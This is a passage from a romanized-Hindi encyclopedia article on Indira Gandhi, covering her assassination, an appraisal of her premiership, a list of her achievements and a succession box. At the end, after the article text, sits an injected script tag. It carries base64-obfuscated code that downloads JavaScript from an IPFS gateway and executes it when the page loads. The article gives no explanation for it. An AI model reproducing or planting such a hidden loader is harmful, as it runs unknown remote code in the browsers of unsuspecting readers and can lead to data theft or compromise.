alagavavadiyoan ko varta ke madhyam se samajhana chahati thian.

mrityu

svarn mandir par hamale ke pratikar mean paanch mahine ke bad hi 31 aktoobar 1984 ko shrimati gaandhi ke avas par tainat unake do sikkh aangarakshakoan ne goli marakar unaki hatya kar di.

upasanhar

bharat ke jitane bhi pradhanamantri hue haian, un sabhi ki anek visheshataean ho sakati haian, lekin iandira gaandhi ke roop mean jo pradhanamantri bharat bhoomi ko prapt hua, vaisa pradhanamantri abhi tak doosara nahian hua hai kyoanki ek pradhanamantri ke roop mean unhoanne vibhinn chunautiyoan ka muqabala karane mean saphalata prapt ki. yuddh ho, vipaksh ki galatiyaan hoan, kootaniti ka aantarrashtriy maidan ho athava desh ki koee samasya ho- iandira gaandhi ne aksar svayan ko saphal sabit kiya. iandira gaandhi, neharoo ke dvara shuroo ki gee audyogik vikas ki arddh samajavadi nitiyoan par qayam rahian. unhoanne soviyat sangh ke sath nazadiki sambandh qayam kie aur pakistan-bharat vivad ke dauran samarthan ke lie usi par ashrit rahian. jinhoanne iandira gaandhi ke pradhanamantritv kal ko dekha hai, ve log yah manate haian ki iandira gaandhi mean apar sahas, nirnay shakti aur dhairy tha.

upalabdhiyaan

• baiankoan ka rashtriyakaran
• baangla desh ko svatantr karana
• nirdhan logoan ke utthan ke lie ayojit 20 sootriy karyakram
• gut nirapeksh andolan ki adhyaksha
• privipars samapti

bharat ke pradhanamantri

65px|link=| poorvadhikari lal bahadur shastri iandira gaandhi uttaradhikari moraraji desaee 65px|link=|

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panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• iandira gaandhi ke do chehare

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>